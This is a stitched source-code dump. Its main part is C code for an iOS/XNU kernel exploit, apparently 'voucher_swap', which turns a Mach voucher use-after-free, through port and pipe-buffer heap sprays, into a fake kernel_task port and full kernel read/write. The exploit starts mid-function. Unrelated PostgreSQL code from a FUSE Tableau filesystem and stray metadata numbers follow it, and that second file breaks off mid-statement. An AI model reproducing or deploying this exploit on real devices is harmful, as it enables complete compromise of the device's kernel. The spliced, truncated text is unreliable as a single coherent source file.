Discard the message. port_discard_messages(base_port); return port_address; } /* * stage1_check_kernel_task_port * * Description: * Check if the given ipc_port is a task port for the kernel task. */ static bool stage1_check_kernel_task_port(uint64_t candidate_port, uint64_t *kernel_task_address) { // Check the ip_bits field. uint32_t ip_bits = stage1_read32(candidate_port + OFFSET(ipc_port, ip_bits)); if (ip_bits != io_makebits(1, IOT_PORT, IKOT_TASK)) { return false; } // This is a task port. Get the task. uint64_t task = stage1_read64(candidate_port + OFFSET(ipc_port, ip_kobject)); // Now get the task's PID. uint64_t proc = stage1_read64(task + OFFSET(task, bsd_info)); uint32_t pid = stage1_read32(proc + OFFSET(proc, p_pid)); // The kernel task has pid 0. if (pid != 0) { return false; } // Found it! *kernel_task_address = task; return true; } /* * build_fake_kernel_task * * Description: * Build a fake kernel_task and kernel_task port in the specified data. */ static void build_fake_kernel_task(void *data, uint64_t kernel_address, size_t task_offset, size_t port_offset, uint64_t ipc_space_kernel, uint64_t kernel_map) { // Create our fake kernel_task. uint8_t *fake_task = (uint8_t *) data + task_offset; uint64_t fake_task_address = kernel_address + task_offset; FIELD(fake_task, task, lck_mtx_type, uint8_t) = 0x22; FIELD(fake_task, task, ref_count, uint64_t) = 4; FIELD(fake_task, task, active, uint32_t) = 1; FIELD(fake_task, task, map, uint64_t) = kernel_map; // Initialize the port as a fake task port pointing to our fake kernel_task. uint8_t *fake_port_data = (uint8_t *) data + port_offset; FIELD(fake_port_data, ipc_port, ip_bits, uint32_t) = io_makebits(1, IOT_PORT, IKOT_TASK); FIELD(fake_port_data, ipc_port, ip_references, uint32_t) = 4; FIELD(fake_port_data, ipc_port, ip_receiver, uint64_t) = ipc_space_kernel; FIELD(fake_port_data, ipc_port, ip_kobject, uint64_t) = fake_task_address; FIELD(fake_port_data, ipc_port, ip_mscount, uint32_t) = 1; FIELD(fake_port_data, ipc_port, ip_srights, uint32_t) = 1; } /* * stage2_init * * Description: * Initialize the stage 2 kernel read/write primitives. After this, * kernel_read()/kernel_write() should work. */ static void stage2_init(uint64_t ipc_space_kernel, uint64_t kernel_map) { // Do a read to make the pipe available for a write. read_pipe(); // Create our fake kernel_task and port. build_fake_kernel_task(pipe_buffer, pipe_buffer_address, fake_task_offset, fake_port_offset, ipc_space_kernel, kernel_map); // Write our buffer to kernel memory. write_pipe(); // Initialize kernel_memory.h. //MARK: KernelMemory.h tfp0 kernel_task_port = fake_port; } /* * stage3_init * * Description: * Initialize the stage 3 kernel read/write primitives. After this, it's safe to free all * other resources. * * TODO: In the future we should use mach_vm_remap() here to actually get a second copy of the * real kernel_task. */ static bool stage3_init(uint64_t ipc_space_kernel, uint64_t kernel_map) { bool success = false; size_t size = 0x800; // Allocate some virtual memory. mach_vm_address_t page; kern_return_t kr = mach_vm_allocate(fake_port, &page, size, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); goto fail_0; } // Build the contents we want. uint8_t *data = calloc(1, size); assert(data != NULL); build_fake_kernel_task(data, page, SIZE(ipc_port), 0, ipc_space_kernel, kernel_map); uint64_t fake_port_address = page; // Copy the contents into the kernel. bool ok = kernel_write(page, data, size); if (!ok) { ERROR("could not write fake kernel_task into kernel memory"); goto fail_1; } // Modify fake_port's ipc_entry so that it points to our new fake port. uint64_t ipc_entry; ok = kernel_ipc_port_lookup(current_task, fake_port, NULL, &ipc_entry); if (!ok) { ERROR("could not look up the IPC entry for the fake port"); fail(); } kernel_write64(ipc_entry + OFFSET(ipc_entry, ie_object), fake_port_address); // Clear ie_request to avoid a panic on termination. kernel_write32(ipc_entry + OFFSET(ipc_entry, ie_request), 0); // At this point fake_port has been officially donated to kernel_task_port. fake_port = MACH_PORT_NULL; success = true; fail_1: free(data); fail_0: return success; } /* * clean_up * * Description: * Clean up our bad state after the exploit. */ static void clean_up(mach_port_t dangling_voucher, uint64_t ip_requests, uint64_t *leaked_kmsgs, size_t leaked_kmsg_count) { // First look up the address of the voucher port and the ipc_entry. uint64_t voucher_port; uint64_t voucher_port_entry; bool ok = kernel_ipc_port_lookup(current_task, dangling_voucher, &voucher_port, &voucher_port_entry); if (!ok) { ERROR("could not look up voucher port 0x%x", dangling_voucher); fail(); } // Clear the ip_kobject field, which is a dangling pointer to our freed/reallocated // voucher. kernel_write64(voucher_port + OFFSET(ipc_port, ip_kobject), 0); // Convert the voucher port to a regular Mach port. kernel_write32(voucher_port + OFFSET(ipc_port, ip_bits), io_makebits(1, IOT_PORT, IKOT_NONE)); // Set the ip_receiver field to ourselves. uint64_t voucher_port_receiver = voucher_port + OFFSET(ipc_port, ip_receiver); uint64_t original_receiver = kernel_read64(voucher_port_receiver); uint64_t task_ipc_space = kernel_read64(current_task + OFFSET(task, itk_space)); kernel_write64(voucher_port_receiver, task_ipc_space); // Transform our ipc_entry from a send right into a receive right. uint32_t ie_bits = kernel_read32(voucher_port_entry + OFFSET(ipc_entry, ie_bits)); ie_bits &= ~MACH_PORT_TYPE_SEND; ie_bits |= MACH_PORT_TYPE_RECEIVE; kernel_write32(voucher_port_entry + OFFSET(ipc_entry, ie_bits), ie_bits); // Clear ip_nsrequest. Since we now have a receive right, we can do this directly from // userspace using mach_port_request_notification(). mach_port_t prev_notify = MACH_PORT_NULL; kern_return_t kr = mach_port_request_notification(mach_task_self(), dangling_voucher, MACH_NOTIFY_NO_SENDERS, 0, MACH_PORT_NULL, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev_notify); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_port_request_notification", kr, mach_error_string(kr)); ERROR("could not clear voucher port's %s", "ip_nsrequest"); fail(); } // Deallocate the send-once right and clear the notification. mach_port_deallocate(mach_task_self(), prev_notify); port_discard_messages(dangling_voucher); // Now set the ip_requests field to the leaked ip_requests from earlier. kernel_write64(voucher_port + OFFSET(ipc_port, ip_requests), ip_requests); // For each of the leaked kmsgs, store the kmsg in the port and then discard the message. for (size_t i = 0; i < leaked_kmsg_count; i++) { kernel_write64(voucher_port + OFFSET(ipc_port, imq_messages), leaked_kmsgs[i]); kernel_write16(voucher_port + OFFSET(ipc_port, imq_msgcount), 1); port_discard_messages(dangling_voucher); } // Clear the ip_receiver field since we didn't add a reference to our space. kernel_write64(voucher_port_receiver, original_receiver); // Destroy the port. mach_port_destroy(mach_task_self(), dangling_voucher); // Drop a reference on base_port. uint64_t base_port_references = base_port_address + OFFSET(ipc_port, ip_references); uint32_t ip_references = kernel_read32(base_port_references); kernel_write32(base_port_references, ip_references - 1); } // ---- Exploit ----------------------------------------------------------------------------------- mach_port_t voucher_swap() { kern_return_t kr; host = mach_host_self(); mach_port_t thread; // Initialize parameters and offsets for the exploit. bool ok = parameters_init(); if (!ok) { fail(); } // 1. Create the thread whose ith_voucher field we will use during the exploit. This could // be the current thread, but that causes a panic if we try to perform logging while not // being run under a debugger, since write() will trigger an access to ith_voucher. To // avoid this, we create a separate thread whose ith_voucher field we can control. In order // for thread_set_mach_voucher() to work, we need to be sure not to start the thread. kr = thread_create(mach_task_self(), &thread); assert(kr == KERN_SUCCESS); // 2. Create some pipes so that we can spray pipe buffers later. We'll be limited to 16 MB // of pipe memory, so don't bother creating more. pipe_buffer_size = 16384; size_t pipe_count = 16 * MB / pipe_buffer_size; increase_file_limit(); int *pipefds_array = create_pipes(&pipe_count); INFO("created %zu pipes", pipe_count); // 3. Spray a bunch of IPC ports. Hopefully these ports force the ipc.ports zone to grow // and allocate fresh pages from the zone map, so that the pipe buffers we allocate next // are placed directly after the ports. // // We want to do this as early as possible so that the ports are given low addresses in the // zone map, which increases the likelihood that bits 28-31 of the pointer are 0 (which is // necessary later so that the overlapping iv_refs field of the voucher is valid). const size_t filler_port_count = 8000; const size_t base_port_to_fake_port_offset = 4 * MB; mach_port_t *filler_ports = create_ports(filler_port_count + 1); INFO("created %zu ports", filler_port_count); // Grab the base port. base_port = filler_ports[filler_port_count]; // Bump the queue limit on the first 2000 ports, which will also be used as holding ports. for (size_t i = 0; i < 2000; i++) { port_increase_queue_limit(filler_ports[i]); } // 4. Spray our pipe buffers. We're hoping that these land contiguously right after the // ports. assert(pipe_buffer_size == 16384); pipe_buffer = calloc(1, pipe_buffer_size); assert(pipe_buffer != NULL); assert(pipe_count <= IO_BITS_KOTYPE + 1); size_t pipes_sprayed = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, ^(uint32_t pipe_index, void *data, size_t size) { // For each pipe buffer we're going to spray, initialize the possible ipc_ports // so that the IKOT_TYPE tells us which pipe index overlaps. We have 1024 pipes and // 12 bits of IKOT_TYPE data, so the pipe index should fit just fine. iterate_ipc_ports(size, ^(size_t port_offset, bool *stop) { uint8_t *port = (uint8_t *) data + port_offset; FIELD(port, ipc_port, ip_bits, uint32_t) = io_makebits(1, IOT_PORT, pipe_index); FIELD(port, ipc_port, ip_references, uint32_t) = 1; FIELD(port, ipc_port, ip_mscount, uint32_t) = 1; FIELD(port, ipc_port, ip_srights, uint32_t) = 1; }); }); size_t sprayed_size = pipes_sprayed * pipe_buffer_size; INFO("sprayed %zu bytes to %zu pipes in kalloc.%zu", sprayed_size, pipes_sprayed, pipe_buffer_size); // 5. Spray IPC vouchers. After we trigger the vulnerability to get a dangling voucher // pointer, we can trigger zone garbage collection and get them reallocated with our OOL // ports spray. // // Assume we'll need 300 early vouchers, 6 transition blocks, 4 target block, and 6 late // blocks. const size_t voucher_spray_count = 300 + (6 + 4 + 6) * COUNT_PER_BLOCK(ipc_voucher); const size_t uaf_voucher_index = voucher_spray_count - 8 * COUNT_PER_BLOCK(ipc_voucher); mach_port_t *voucher_ports = voucher_spray(voucher_spray_count); INFO("created %zu vouchers", voucher_spray_count); mach_port_t uaf_voucher_port = voucher_ports[uaf_voucher_index]; // 6. Spray 15% of memory (400MB on the iPhone XR) in kalloc.1024 that we can free later to // prompt gc. We'll reuse some of the early ports from the port spray above for this. const size_t gc_spray_size = 0.15 * platform.memory_size; mach_port_t *gc_ports = filler_ports; size_t gc_port_count = 500; // Use at most 500 ports for the spray. sprayed_size = kalloc_spray_size(gc_ports, &gc_port_count, 768+1, 1024, gc_spray_size); INFO("sprayed %zu bytes to %zu ports in kalloc.%u", sprayed_size, gc_port_count, 1024); // 7. Stash a pointer to an ipc_voucher in the thread's ith_voucher field and then remove // the added reference. That way, when we deallocate the voucher ports later, we'll be left // with a dangling voucher pointer in ith_voucher. kr = thread_set_mach_voucher(thread, uaf_voucher_port); assert(kr == KERN_SUCCESS); voucher_release(uaf_voucher_port); INFO("stashed voucher pointer in thread"); // 8. Create the OOL ports pattern that we will spray to overwrite the freed voucher. // // We will reallocate the voucher to kalloc.32768, which is a convenient size since it lets // us very easily predict what offsets in the allocation correspond to which fields of the // voucher. assert(BLOCK_SIZE(ipc_voucher) == 16384); const size_t ool_port_spray_kalloc_zone = 32768; const size_t ool_port_count = ool_port_spray_kalloc_zone / sizeof(uint64_t); mach_port_t *ool_ports = calloc(ool_port_count, sizeof(mach_port_t)); assert(ool_ports != NULL); // Now, walk though and initialize the "vouchers" in the ool_ports array. iterate_ipc_vouchers_via_mach_ports(ool_port_count, ^(size_t voucher_start) { // Send an OOL port one pointer past the start of the voucher. This will cause the // port pointer to overlap the voucher's iv_refs field, allowing us to use the // voucher port we'll get from thread_get_mach_voucher() later without panicking. // This port plays double-duty since we'll later use the reference count bug again // to increment the refcount/port pointer to point into our pipe buffer spray, // giving us a fake port. ool_ports[voucher_start + 1] = base_port; // Leave the voucher's iv_port field (index 7) as MACH_PORT_NULL, so that we can // call thread_get_mach_voucher() to get a new voucher port that references this // voucher. This is what allows us to manipulate the reference count later to // change the OOL port set above. }); // 9. Free the first GC spray. This makes that memory available for zone garbage collection // in the loop below. destroy_ports(gc_ports, gc_port_count); // 10. Free the vouchers we created earlier. This leaves a voucher pointer dangling in our // thread's ith_voucher field. The voucher ports we created earlier are all now invalid. // // The voucher objects themselves have all been overwritten with 0xdeadbeefdeadbeef. If we // call thread_get_mach_voucher() here, we'll get an "os_refcnt: overflow" panic, and if we // call thread_set_mach_voucher() to clear it, we'll get an "a freed zone element has been // modified in zone ipc vouchers" panic. voucher_spray_free(voucher_ports, voucher_spray_count); // 11. Reallocate the freed voucher with the OOL port pattern created earlier in the // kalloc.32768 zone. We need to do this slowly in order to force a zone garbage // collection. Spraying 17% of memory (450 MB on the iPhone XR) with OOL ports should be // plenty. const size_t ool_ports_spray_size = 0.17 * platform.memory_size; mach_port_t *ool_holding_ports = gc_ports + gc_port_count; size_t ool_holding_port_count = 500; // Use at most 500 ports for the spray. sprayed_size = ool_ports_spray_size_with_gc(ool_holding_ports, &ool_holding_port_count, message_size_for_kalloc_size(512), ool_ports, ool_port_count, MACH_MSG_TYPE_MAKE_SEND, ool_ports_spray_size); INFO("sprayed %zu bytes of OOL ports to %zu ports in kalloc.%zu", sprayed_size, ool_holding_port_count, ool_port_spray_kalloc_zone); free(ool_ports); // 12. Once we've reallocated the voucher with an OOL ports allocation, the iv_refs field // will overlap with the lower 32 bits of the pointer to base_port. If base_port's address // is low enough, this tricks the kernel into thinking that the reference count is valid, // allowing us to call thread_get_mach_voucher() without panicking. And since the OOL ports // pattern overwrote the voucher's iv_port field with MACH_PORT_NULL, // convert_voucher_to_port() will go ahead and allocate a fresh voucher port through which // we can manipulate our freed voucher while it still overlaps our OOL ports. kr = thread_get_mach_voucher(thread, 0, &uaf_voucher_port); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "thread_get_mach_voucher", kr, mach_error_string(kr)); ERROR("could not get a voucher port to the freed voucher; reallocation failed?"); fail(); } if (!MACH_PORT_VALID(uaf_voucher_port)) { ERROR("freed voucher port 0x%x is not valid", uaf_voucher_port); fail(); } INFO("recovered voucher port 0x%x for freed voucher", uaf_voucher_port); // 13. Alright, we've pushed through the first risky part! We now have a voucher port that // refers to a voucher that overlaps with our OOL ports spray. Our next step is to modify // the voucher's iv_refs field using the reference counting bugs so that the ipc_port // pointer it overlaps with now points into our pipe buffers. That way, when we receive the // message, we'll get a send right to a fake IPC port object whose contents we control. INFO("adding references to the freed voucher to change the OOL port pointer"); for (size_t i = 0; i < base_port_to_fake_port_offset; i++) { voucher_reference(uaf_voucher_port); } kr = thread_set_mach_voucher(thread, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { ERROR("could not clear thread voucher"); // This is a horrible fix, since ith_voucher still points to the freed voucher, but // at least it'll make the OOL port pointer correct so the exploit can continue. voucher_release(uaf_voucher_port); } // 14. Now receive the OOL ports and recover our voucher port and the fake port that // overlaps our pipe buffers. This is where we're most likely to panic if the port/pipe // groom failed and the overlapping OOL port pointer does not point into our pipe buffers. INFO("receiving the OOL ports will leak port 0x%x", base_port); fake_port = MACH_PORT_NULL; ool_ports_spray_receive(ool_holding_ports, ool_holding_port_count, ^(mach_port_t *ool_ports, size_t count) { if (count != ool_port_count) { ERROR("unexpected OOL ports count %zu", count); return; } // Loop through each of the possible voucher positions in the OOL ports looking for // a sign that this is where the voucher overlaps. iterate_ipc_vouchers_via_mach_ports(count, ^(size_t voucher_start) { // We're checking to see whether index 7 (which was MACH_PORT_NULL when we // sent the message) now contains a port. If it does, that means that this // segment of the OOL ports overlapped with the freed voucher, and so when // we called thread_get_mach_voucher() above, the iv_port field was set to // the newly allocated voucher port (which is what we're receiving now). mach_port_t ool_voucher_port = ool_ports[voucher_start + 7]; if (ool_voucher_port != MACH_PORT_NULL) { INFO("received voucher port 0x%x in OOL ports", ool_voucher_port); INFO("voucher overlapped at offset 0x%zx", voucher_start * sizeof(uint64_t)); if (ool_voucher_port != uaf_voucher_port) { ERROR("voucher port mismatch"); } if (fake_port != MACH_PORT_NULL) { ERROR("multiple fake ports"); } fake_port = ool_ports[voucher_start + 1]; ool_ports[voucher_start + 1] = MACH_PORT_NULL; INFO("received fake port 0x%x", fake_port); } }); }); // Make sure we got a fake port. if (!MACH_PORT_VALID(fake_port)) { if (fake_port == MACH_PORT_NULL) { ERROR("did not receive a fake port in OOL ports spray"); } else { ERROR("received an invalid fake port in OOL ports spray"); } fail(); } // 15. Check which pair of pipefds overlaps our port using mach_port_kobject(). The // returned type value will be the lower 12 bits of the ipc_port's ip_bits field, which // we've set to the index of the pipe overlapping the port during our spray. // // This is the third and final risky part: we could panic if our fake port doesn't actually // point into our pipe buffers. After this, though, it's all smooth sailing. natural_t type; mach_vm_address_t addr; kr = mach_port_kobject(mach_task_self(), fake_port, &type, &addr); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_port_kobject", kr, mach_error_string(kr)); ERROR("could not determine the pipe index of our port"); } size_t pipe_index = type; INFO("port is at pipe index %zu", pipe_index); // Get the pipefds that allow us to control the port. int *port_pipefds = pipefds_array + 2 * pipe_index; pipefds[0] = port_pipefds[0]; pipefds[1] = port_pipefds[1]; port_pipefds[0] = -1; port_pipefds[1] = -1; // 16. Clean up unneeded resources: terminate the ith_voucher thread, discard the filler // ports, and close the sprayed pipes. thread_terminate(thread); destroy_ports(filler_ports, filler_port_count); free(filler_ports); close_pipes(pipefds_array, pipe_count); free(pipefds_array); // 17. Use mach_port_request_notification() to put a pointer to an array containing // base_port in our port's ip_requests field. mach_port_t prev_notify; kr = mach_port_request_notification(mach_task_self(), fake_port, MACH_NOTIFY_DEAD_NAME, 0, base_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &prev_notify); if (kr != KERN_SUCCESS) { ERROR("%s returned %d: %s", "mach_port_request_notification", kr, mach_error_string(kr)); ERROR("could not request a notification for the fake port"); fail(); } assert(prev_notify == MACH_PORT_NULL); // 18. Now read back our pipe buffer to discover the value of ip_requests (and get our // first kernel pointer!). This also tells us where our port is located inside the pipe // buffer. read_pipe(); __block uint64_t ip_requests = 0; iterate_ipc_ports(pipe_buffer_size, ^(size_t port_offset, bool *stop) { uint8_t *port = (uint8_t *) pipe_buffer + port_offset; uint64_t *port_ip_requests = (uint64_t *)(port + OFFSET(ipc_port, ip_requests)); if (*port_ip_requests != 0) { // We've found the overlapping port. Record the offset of the fake port, // save the ip_requests array, and set the field in the port to NULL. assert(ip_requests == 0); fake_port_offset = port_offset; ip_requests = *port_ip_requests; *port_ip_requests = 0; } else { // Clear out all the other fake ports. memset(port, 0, SIZE(ipc_port)); } }); // Make sure we found it. if (ip_requests == 0) { ERROR("could not find %s in pipe buffers", "ip_requests"); fail(); } INFO("got %s at 0x%016llx", "ip_requests", ip_requests); INFO("fake port is at offset %zu", fake_port_offset); // Do a write so that the stage0 and stage1 read primitives can start with a pipe read. write_pipe(); // 19. Now that we know the address of an array that contains a pointer to base_port, we // need a way to read data from that address so we can locate our pipe buffer in memory. // // We'll use the traditional pid_for_task() technique to read 4 bytes of kernel memory. // However, in order for this technique to work, we need to get a fake task containing an // offset pointer to the address we want to read at a known location in memory. We can do // that by initializing our fake port, sending a Mach message containing our fake task to // the port, and reading out the port's imq_messages field. // // An unfortunate consequence of this technique is that each 4-byte read leaks an ipc_kmsg // allocation. Thus, we'll store the leaked kmsgs so that we can deallocate them later. uint64_t leaked_kmsgs[2] = {}; uint64_t address_of_base_port_pointer = ip_requests + 1 * SIZE(ipc_port_request) + OFFSET(ipc_port_request, ipr_soright); base_port_address = stage0_read64(address_of_base_port_pointer, leaked_kmsgs); INFO("base port is at 0x%016llx", base_port_address); // Check that it has the offset that we expect. if (base_port_address % pipe_buffer_size != fake_port_offset) { ERROR("base_port at wrong offset"); } // 20. Now use base_port_address to compute the address of the fake port and the containing // pipe buffer, and choose an offset for our fake task in the pipe buffer as well. At this // point, we can now use our stage 1 read primitive. fake_port_address = base_port_address + base_port_to_fake_port_offset; pipe_buffer_address = fake_port_address & ~(pipe_buffer_size - 1); fake_task_offset = 0; if (fake_port_offset < FAKE_TASK_SIZE) { fake_task_offset = pipe_buffer_size - FAKE_TASK_SIZE; } // 21. Now that we have the address of our pipe buffer, we can use the stage 1 read // primitive. Get the address of our own task port, which we'll need later. uint64_t task_port_address = stage1_find_port_address(mach_task_self()); // 22. Our next goal is to build a fake kernel_task port that allows us to read and write // kernel memory with mach_vm_read()/mach_vm_write(). But in order to do that, we'll first // need to get ipc_space_kernel and kernel_map. We'll use Ian's technique from multi_path // for this. // // First things first, get the address of the host port. uint64_t host_port_address = stage1_find_port_address(host); // 23. We can get ipc_space_kernel from the host port's ip_receiver. uint64_t host_port_ip_receiver = host_port_address + OFFSET(ipc_port, ip_receiver); uint64_t ipc_space_kernel = stage1_read64(host_port_ip_receiver); // 24. Now we'll iterate through all the ports in the host port's block to try and find the // kernel task port, which will give us the address of the kernel task. kernel_task = 0; uint64_t port_block = host_port_address & ~(BLOCK_SIZE(ipc_port) - 1); iterate_ipc_ports(BLOCK_SIZE(ipc_port), ^(size_t port_offset, bool *stop) { uint64_t candidate_port = port_block + port_offset; bool found = stage1_check_kernel_task_port(candidate_port, &kernel_task); *stop = found; }); // Make sure we got the kernel_task's address. if (kernel_task == 0) { ERROR("could not find kernel_task port"); fail(); } INFO("kernel_task is at 0x%016llx", kernel_task); // 25. Next we can use the kernel task to get the address of the kernel vm_map. uint64_t kernel_map = stage1_read64(kernel_task + OFFSET(task, map)); // 26. Build a fake kernel task port that allows us to read and write kernel memory. stage2_init(ipc_space_kernel, kernel_map); // 27. Alright, now kernel_read() and kernel_write() should work, so let's build a safer // kernel_task port. This also cleans up fake_port so that we (hopefully) won't panic on // exit. uint64_t task_pointer = task_port_address + OFFSET(ipc_port, ip_kobject); current_task = kernel_read64(task_pointer); stage3_init(ipc_space_kernel, kernel_map); // 28. We've corrupted a bunch of kernel state, so let's clean up our mess: // - base_port has an extra port reference. // - uaf_voucher_port needs to be destroyed. // - ip_requests needs to be deallocated. // - leaked_kmsgs need to be destroyed. clean_up(uaf_voucher_port, ip_requests, leaked_kmsgs, sizeof(leaked_kmsgs) / sizeof(leaked_kmsgs[0])); // 29. And finally, deallocate the remaining unneeded (but non-corrupted) resources. pipe_close(pipefds); free(pipe_buffer); mach_port_destroy(mach_task_self(), base_port); // And that's it! Enjoy kernel read/write via kernel_task_port. INFO("done! port 0x%x is tfp0", kernel_task_port); return kernel_task_port; }
38.692241
99
0.729292
[ "object", "transform" ]
cf7ba6156e9b795ce3569909d05f8c2c9b12033b
11,773
c
C
src/workgroup.c
tfoldi/fuse-tableaufs
305fffbf5ee75cfa4e91f6e96b10da30a29cb94e
[ "BSD-3-Clause" ]
25
2015-05-06T05:15:12.000Z
2022-03-30T19:53:59.000Z
src/workgroup.c
tfoldi/fuse-tableaufs
305fffbf5ee75cfa4e91f6e96b10da30a29cb94e
[ "BSD-3-Clause" ]
6
2015-06-21T23:54:34.000Z
2019-03-30T14:06:27.000Z
src/workgroup.c
tfoldi/fuse-tableaufs
305fffbf5ee75cfa4e91f6e96b10da30a29cb94e
[ "BSD-3-Clause" ]
4
2015-06-04T04:08:58.000Z
2020-01-13T14:27:40.000Z
/* Copyright (c) 2015, Tamas Foldi, Starschema Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <time.h> #include <errno.h> #include <pthread.h> #include "workgroup.h" #include "tableaufs.h" #include "libpq-fe.h" #include "libpq/libpq-fs.h" #define BUFSIZE 1024 #define TFS_WG_BLOCKSIZE 8196 #define _NAME_MAX "255" #define TFS_WG_MTIME \ ", extract(epoch from coalesce(c.updated_at,'2000-01-01')) ctime " #define TFS_WG_LIST_SITES \ "select c.name" TFS_WG_MTIME "from sites c where 1 = 1 " #define TFS_WG_LIST_PROJECTS \ "select c.name" TFS_WG_MTIME "from projects c inner join" \ " sites p on (p.id = c.site_id) where p.name = $1" #define TFS_WG_LIST_FILE( entity, ext ) \ "select c.name || '." #ext "' || case when substring(data from 1 for 2) = " \ "'PK' then 'x' else '' end filename " TFS_WG_MTIME ", content," \ "(select sum(length(data)) from pg_largeobject where pg_largeobject.loid = " \ "repository_data.content) size from " #entity " c inner join repository_data " \ " on (repository_data.tracking_id = coalesce(data_id,reduced_data_id))" \ "inner join projects on (c.project_id = projects.id) inner join sites on " \ "(sites.id = projects.site_id) inner join pg_largeobject on " \ "(repository_data.content = pg_largeobject.loid) where pg_largeobject.pageno = 0" \ " and sites.name = $1 and projects.name = $2 " #define TFS_WG_LIST_WORKBOOKS TFS_WG_LIST_FILE( workbooks, twb ) #define TFS_WG_LIST_DATASOURCES TFS_WG_LIST_FILE( datasources, tds ) #define TFS_WG_NAMES_WITHOUT_SLASH(ext) \ "replace(c.name,'/','_')||'." #ext "x', replace(c.name,'/','_')||'." #ext "' " /** The global connection object */ static PGconn* global_conn; /** Mutex for transaction LO access */ static pthread_mutex_t tfs_wg_transaction_block_mutex = PTHREAD_MUTEX_INITIALIZER; /** * Connection data for postgres. * * This gets filled on the call to TFS_WG_connect_db. */ static struct tableau_cmdargs pg_connection_data; /** Helper function to wrap connecting to a database using the connection data */ static PGconn* connect_to_pg( struct tableau_cmdargs conn_data) { PGconn* new_conn = PQsetdbLogin( conn_data.pghost, conn_data.pgport, NULL, NULL, "workgroup", conn_data.pguser, conn_data.pgpass ); /* check to see that the backend connection was successfully made */ if (PQstatus(new_conn) == CONNECTION_BAD) { fprintf(stderr, "Connection to database '%s' failed.\n", conn_data.pghost); fprintf(stderr, "%s", PQerrorMessage(new_conn)); PQfinish(new_conn); return NULL; } return new_conn; } /** * Helper function to get the current connection to the database * * TODO: should this reconnect be wrapped in a mutex? */ static PGconn* get_pg_connection() { // List all cases, figure out which need reconnection switch( PQstatus(global_conn) ) { case CONNECTION_BAD: fprintf(stderr, "CONNECTION_BAD encountered: '%s'. Trying to reconnect.\n", PQerrorMessage(global_conn)); // overwrite the existing global (EEEEEK) connection global_conn = connect_to_pg( pg_connection_data ); return global_conn; case CONNECTION_NEEDED: // Postgres 9 Docs is silent about this enum value. What does this state mean? // TODO: is it safe to return conn here? return global_conn; case CONNECTION_SETENV: case CONNECTION_AUTH_OK: case CONNECTION_SSL_STARTUP: case CONNECTION_MADE: case CONNECTION_AWAITING_RESPONSE: case CONNECTION_STARTED: case CONNECTION_OK: default: return global_conn; } } int TFS_WG_IO_operation(tfs_wg_operations_t op, const uint64_t loid, const char * src, char * dst, const size_t size, const off_t offset) { PGresult *res; int fd, ret = 0; int mode; // get the connection via a reconnect-capable backer PGconn* conn = get_pg_connection(); if ( op == TFS_WG_READ ) mode = INV_READ; else mode = INV_WRITE; // LO operations only supported within transactions // On our FS one read is one transaction // While libpq is thread safe, still, we cannot have parallel // transactions from multiple threads on the same connection pthread_mutex_lock(&tfs_wg_transaction_block_mutex); res = PQexec(conn, "BEGIN"); PQclear(res); fd = lo_open(conn, (Oid)loid, mode); fprintf(stderr, "TFS_WG_open: reading from fd %d (l:%lu:o:%tu)\n", fd, size, offset); #ifdef HAVE_LO_LSEEK64 if ( lo_lseek64(conn, fd, offset, SEEK_SET) < 0 ) { #else if ( lo_lseek(conn, fd, (int)offset, SEEK_SET) < 0 ) { #endif // HAVE_LO_LSEEK64 ret = -EINVAL; } else { switch (op) { case TFS_WG_READ: ret = lo_read(conn, fd, dst, size); break; case TFS_WG_WRITE: ret = lo_write(conn, fd, src, size); break; case TFS_WG_TRUNCATE: #ifdef HAVE_LO_TRUNCATE64 ret = lo_truncate64(conn, fd, offset); #else ret = lo_truncate(conn, fd,(size_t) offset); #endif break; default: ret = -EINVAL; break; } } res = PQexec(conn, "END"); pthread_mutex_unlock(&tfs_wg_transaction_block_mutex); PQclear(res); return ret; } int TFS_WG_open(const tfs_wg_node_t * node, int mode, uint64_t * fh) { if (node->level != TFS_WG_FILE ) return -EISDIR; else *fh = node->loid; return 0; } int TFS_WG_readdir(const tfs_wg_node_t * node, void * buffer, tfs_wg_add_dir_t filler) { PGresult *res; int i, ret; size_t j, len; char * name; const char *paramValues[2] = { node->site, node->project }; // get the connection via a reconnect-capable backer PGconn* conn = get_pg_connection(); switch(node->level) { case TFS_WG_ROOT: res = PQexec(conn, TFS_WG_LIST_SITES); break; case TFS_WG_SITE: res = PQexecParams(conn, TFS_WG_LIST_PROJECTS, 1, NULL, paramValues, NULL, NULL, 0); break; case TFS_WG_PROJECT: res = PQexecParams(conn, TFS_WG_LIST_WORKBOOKS " union all " TFS_WG_LIST_DATASOURCES, 2, NULL, paramValues, NULL, NULL, 0); break; default: // make sure res is initialized, so the code is clean and we dont get a warning res = NULL; fprintf(stderr, "Unknown node level found: %u\n", node->level); break; } if (PQresultStatus(res) != PGRES_TUPLES_OK) { fprintf(stderr, "SELECT entries failed: %s", 